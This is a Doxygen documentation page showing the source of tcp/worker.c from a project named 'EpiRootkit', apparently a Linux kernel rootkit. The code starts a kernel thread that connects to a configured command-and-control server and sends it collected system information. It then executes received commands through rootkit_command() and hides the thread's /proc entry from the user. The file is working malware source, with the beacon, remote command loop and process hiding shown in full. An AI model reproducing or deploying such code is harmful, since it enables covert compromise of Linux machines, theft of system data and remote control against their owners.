EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
tcp/worker.c
Go to the documentation of this file.
1#include "hide_api.h"
2#include "network.h"
3#include "sysinfo.h"
4#include "upload.h"
5
6static bool is_auth = false;
7static struct task_struct *network_worker_thread = NULL;
8
13bool is_user_auth(void) {
14 return is_auth;
15}
16
22int set_user_auth(bool auth) {
23 is_auth = auth;
24 return is_auth;
25}
26
34 char *sysinfo = get_sysinfo();
35
36 if (!sysinfo) {
37 ERR_MSG("send_initial_message_with_retries: failed to get system info\n");
38 return false;
39 }
40
41 for (int attempts = 0; attempts < MAX_MSG_SEND_OR_RECEIVE_ERROR; attempts++) {
42 if (send_to_server(TCP, sysinfo) == SUCCESS) {
43 kfree(sysinfo);
44 return true;
45 }
47 }
48 kfree(sysinfo);
49 return false;
50}
51
59static bool receive_loop(char *recv_buffer) {
60 unsigned failure_count = 0, empty_count = 0;
61
62 while (!kthread_should_stop()) {
63 // Clear the buffer before receiving
64 memset(recv_buffer, 0, RCV_CMD_BUFFER_SIZE);
65
66 int len = receive_from_server(recv_buffer, RCV_CMD_BUFFER_SIZE);
67 if (receiving_file) {
68 failure_count = 0;
70 continue;
71 }
72
73 if (len <= 0) {
74 if (++failure_count > MAX_MSG_SEND_OR_RECEIVE_ERROR)
75 return false;
77 continue;
78 }
79
80 if (recv_buffer[0] == '\0') {
81 if (++empty_count > MAX_MSG_SEND_OR_RECEIVE_ERROR)
82 return false;
83 continue;
84 }
85
86 if (len < RCV_CMD_BUFFER_SIZE)
87 recv_buffer[len] = '\0';
88 else
89 recv_buffer[RCV_CMD_BUFFER_SIZE - 1] = '\0';
90 failure_count = empty_count = 0;
91
92 DBG_MSG("network_worker: received message: %s\n", recv_buffer);
93 if (strcmp(recv_buffer, "\n") != 0) {
94 rootkit_command(recv_buffer, len + 1, TCP);
95 }
96 }
97
98 return true;
99}
100
106static int network_worker(void *data) {
107 char *recv_buffer = NULL;
108 struct sockaddr_in addr = { 0 };
109 unsigned char ip_binary[4] = { 0 };
110
111 if (!in4_pton(ip, -1, ip_binary, -1, NULL)) {
112 ERR_MSG("network_worker: invalid IPv4 address\n");
113 return -FAILURE;
114 }
115
116 addr.sin_family = AF_INET;
117 addr.sin_port = htons(port);
118 memcpy(&addr.sin_addr.s_addr, ip_binary, sizeof(addr.sin_addr.s_addr));
119
120 while (!kthread_should_stop()) {
122
124 msleep(TIMEOUT_BEFORE_RETRY);
125 continue;
126 }
127
129 msleep(TIMEOUT_BEFORE_RETRY);
130 continue;
131 }
132
133 recv_buffer = kmalloc(RCV_CMD_BUFFER_SIZE + 1, GFP_KERNEL);
134 if (!recv_buffer) {
135 ERR_MSG("network_worker: failed to allocate recv_buffer\n");
136 break;
137 }
138
139 if (!receive_loop(recv_buffer)) {
140 kfree(recv_buffer);
141 recv_buffer = NULL;
142 set_user_auth(false);
143 msleep(TIMEOUT_BEFORE_RETRY);
144 continue;
145 }
146
147 break;
148 }
149
150 if (recv_buffer)
151 kfree(recv_buffer);
152
154
155 return SUCCESS;
156}
157
163 ERR_MSG("start_network_worker: thread already running\n");
164 return -EBUSY;
165 }
166
168 kthread_run(network_worker, NULL, NETWORK_WORKER_THREAD_NAME);
169 if (IS_ERR(network_worker_thread)) {
170 ERR_MSG("start_network_worker: failed to start thread\n");
171 return PTR_ERR(network_worker_thread);
172 }
173
174 // Hide the thread from the user
175 char path[32] = { 0 };
176 snprintf(path, sizeof(path), "/proc/%d", network_worker_thread->pid);
177 hide_file(path);
178
179 return SUCCESS;
180}
181
187 return -EINVAL;
188 }
189
190 // Remove the hidden directory associated with the thread
191 char path[32] = { 0 };
192 snprintf(path, sizeof(path), "/proc/%d", network_worker_thread->pid);
193 unhide_file(path);
194
195 // Stop the network worker thread
196 kthread_stop(network_worker_thread);
198
199 return SUCCESS;
200}
int rootkit_command(char *command, unsigned command_size, enum Protocol protocol)
Definition cmd.c:122
#define TIMEOUT_BEFORE_RETRY
Definition config.h:36
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define DBG_MSG(fmt, args...)
Definition config.h:15
int port
Definition main.c:7
#define FAILURE
Definition config.h:6
#define NETWORK_WORKER_THREAD_NAME
Definition config.h:34
#define SUCCESS
Definition config.h:5
@ TCP
Definition config.h:29
#define RCV_CMD_BUFFER_SIZE
Definition config.h:37
#define MAX_MSG_SEND_OR_RECEIVE_ERROR
Definition config.h:35
char * ip
Definition main.c:6
int hide_file(const char *path)
Definition hide_api.c:25
int unhide_file(const char *path)
Definition hide_api.c:52
int send_to_server(enum Protocol protocol, char *message,...)
Definition network.c:67
int receive_from_server(char *buffer, size_t max_len)
Definition network.c:200
int close_worker_socket(void)
Definition socket.c:43
int connect_worker_socket_to_server(struct sockaddr_in *addr)
Definition socket.c:59
char * get_sysinfo(void)
Definition sysinfo.c:18
int set_user_auth(bool auth)
Definition tcp/worker.c:22
static bool receive_loop(char *recv_buffer)
Definition tcp/worker.c:59
static int network_worker(void *data)
Definition tcp/worker.c:106
int start_network_worker(void)
Definition tcp/worker.c:161
static bool send_initial_message_with_retries(void)
Definition tcp/worker.c:33
static struct task_struct * network_worker_thread
Definition tcp/worker.c:7
static bool is_auth
Definition tcp/worker.c:6
bool is_user_auth(void)
Definition tcp/worker.c:13
int stop_network_worker(void)
Definition tcp/worker.c:185
bool receiving_file
Definition upload.c:10